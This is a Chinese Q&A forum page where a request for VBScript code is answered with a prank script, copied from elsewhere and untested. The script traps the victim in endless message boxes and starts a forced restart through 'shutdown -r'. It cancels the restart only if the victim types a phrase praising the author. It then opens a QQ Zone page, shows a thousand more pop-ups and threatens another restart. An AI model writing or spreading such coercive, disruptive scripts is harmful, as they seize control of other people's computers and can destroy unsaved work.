vbe代码谁有?

要多点 好点的 啊

你想要什么代码.- -.基础的把.按键. msgbox"我爱vb"

do:msgbox"爽死你~":loop set ws=createobject("wscript.shell") call shutdown(1) do while a<>"孟哥无敌" a=inputbox("说孟哥无敌,就不关机，快撒，说 ""孟哥无敌"" ","说不说","不说") loop call shutdown(2) msgbox "早说就行了嘛",4096+64 msgbox"孟哥无敌真的无敌吗!",4096+64 msgbox"孟哥无敌!",4096+64 MsgBox"最后一次!",4096+64 MsgBox"如果你很快的点过去,不看的话",4096+64 MsgBox"我就要你踩我空间的!哼!",4096+64 MsgBox"从前有座山!",4096+64 MsgBox"山里有个庙.",4096+64 MsgBox"庙里有个老和尚在讲故事.",4096+64 ws.run"iexplore.exe http://new.qzone.qq.com/82883883/infocenter" msgbox"哎呀累了！数绵羊哄我睡觉",4096+64 for i=1 to 1000 MsgBox i&"只绵羊",4096+64 next msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64 msgbox"最后问个问题，孟航是不是大好人！",4096+64 if inputbox("是不是","请选择","不是")<>"是" then call shutdown(1) end if sub shutdown(s) select case s case 1 ws.run"cmd.exe /c shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub

=================================================================================

这是我从网上找的，不知道效果如何

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息